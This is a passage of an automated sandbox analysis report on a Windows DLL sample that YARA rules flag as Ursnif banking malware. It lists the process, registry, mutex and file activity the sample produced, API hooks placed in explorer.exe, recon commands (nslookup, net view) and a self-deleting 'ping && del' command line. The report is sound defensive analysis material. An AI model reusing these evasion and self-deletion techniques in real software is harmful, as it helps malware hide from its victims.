                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net view
                      Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
                      Source: C:\Windows\SysWOW64\rundll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeFile created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F47.tmpJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB6DB6 CreateToolhelp32Snapshot,Process32First,StrStrIA,Process32Next,FindCloseChangeNotification,4_2_04AB6DB6
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_01
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3272:120:WilError_01
                      Source: C:\Windows\System32\rundll32.exeMutant created: \Sessions\1\BaseNamedObjects\{00582389-5F6B-3241-E934-03862DA8E71A}
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3784:120:WilError_01
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:876:120:WilError_01
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3252:120:WilError_01
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7060:120:WilError_01
                      Source: C:\Windows\SysWOW64\rundll32.exeMutant created: \Sessions\1\BaseNamedObjects\{C093CB03-1FF4-F2B2-A9F4-C346ED68A7DA}
                      Source: C:\Windows\System32\control.exeMutant created: \Sessions\1\BaseNamedObjects\{C848BE84-8755-3A15-517C-AB0E15700F22}
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6460:120:WilError_01
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: \Sessions\1\BaseNamedObjects\{7CF43CAB-ABC5-0E1F-1570-0F2219A4B376}
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1268:120:WilError_01
                      Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess408
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6980:120:WilError_01
                      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\nslookup.exeFile read: C:\Windows\System32\drivers\etc\hosts
                      Source: C:\Windows\System32\nslookup.exeFile read: C:\Windows\System32\drivers\etc\hosts
                      Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
                      Source: C:\Windows\explorer.exeFile opened: C:\Windows\SYSTEM32\msftedit.dll
                      Source: Window RecorderWindow detected: More than 3 window changes detected
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                      Source: C:\Windows\explorer.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\
                      Source: d6YCUW421p.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                      Source: Binary string: ntdll.pdb source: rundll32.exe, 00000004.00000003.501612417.0000000006390000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.495117008.0000000006390000.00000004.00001000.00020000.00000000.sdmp
                      Source: Binary string: d:\in\the\town\where\ahung.pdb source: loaddll32.exe, 00000002.00000000.368230148.0000000000480000.00000002.00000001.01000000.00000005.sdmp
                      Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000004.00000003.501612417.0000000006390000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.495117008.0000000006390000.00000004.00001000.00020000.00000000.sdmp
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04ABB2FF push esi; retf 4_2_04ABB301
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB7E20 push ecx; ret 4_2_04AB7E29
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB820B push ecx; ret 4_2_04AB821B
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE2C1A push ecx; mov dword ptr [esp], 00000002h4_2_05DE2C1B
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DF37E3 push ecx; ret 4_2_05DF37F3
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DF32B0 push ecx; ret 4_2_05DF32B9
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDA513 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,4_2_05DDA513
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.cmdline
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdlineJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.cmdlineJump to behavior
                      Source: vqkyohgm.dll.22.drStatic PE information: real checksum: 0x0 should be: 0x1e36
                      Source: d6YCUW421p.dllStatic PE information: real checksum: 0x872fe521 should be: 0xa456f
                      Source: g2letrfe.dll.25.drStatic PE information: real checksum: 0x0 should be: 0x1e57
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.dllJump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.dllJump to dropped file

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Yara detected Ursnif
                      Source: Yara matchFile source: 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436099354.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742734831.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387911041.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387848554.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743014164.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387690686.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742810151.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388080339.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742565489.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742635161.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388156099.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387614709.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.433046999.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.388142124.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.438809080.000000000542C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.743129288.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742454861.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742926350.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.387950801.0000000005628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000002.744378617.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000003.742968366.0000000003D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 2588, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6856, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: control.exe PID: 6468, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4504, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 3932, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 4712, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 2880, type: MEMORYSTR
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.4ab0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.4e394a0.10.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55d6940.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.55a94a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.3.rundll32.exe.552a4a0.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000028.00000000.604999946.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.507197742.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741896221.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.667078163.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.741217358.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.703035684.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.622907247.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.564167327.0000000004E39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.504046961.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000002.686963959.0000019853F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.569771687.00000000052AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.436035470.00000000055A9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.603233146.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000028.00000000.606133763.0000028A77740000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000001A.00000000.505634538.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.619033467.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000038.00000000.740581278.0000000003610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.654783377.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000027.00000000.615194902.000002BFD6C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000002E.00000000.661830136.000001EF35E20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.698826675.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000003.435816444.000000000552A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000032.00000000.695593372.0000024373BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                      Hooks registry keys query functions (used to hide registry keys)
                      Source: explorer.exeIAT, EAT, inline or SSDT hook detected: function: api-ms-win-core-registry-l1-1-0.dll:RegGetValueW
                      Self deletion via cmd delete
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\d6YCUW421p.dll
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\d6YCUW421p.dll
                      Modifies the export address table of user mode modules (user mode EAT hooks)
                      Source: explorer.exeIAT of a user mode module has changed: module: KERNEL32.DLL function: CreateProcessAsUserW address: 7FFF3FC1521C
                      Modifies the prolog of user mode functions (user mode inline hooks)
                      Source: explorer.exeUser mode code has changed: module: KERNEL32.DLL function: CreateProcessAsUserW new code: 0xFF 0xF2 0x25 0x50 0x00 0x00
                      Modifies the import address table of user mode modules (user mode IAT hooks)
                      Source: explorer.exeEAT of a user mode module has changed: module: WININET.dll function: api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW address: 7FFF3FC15200
                      Source: C:\Windows\SysWOW64\rundll32.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
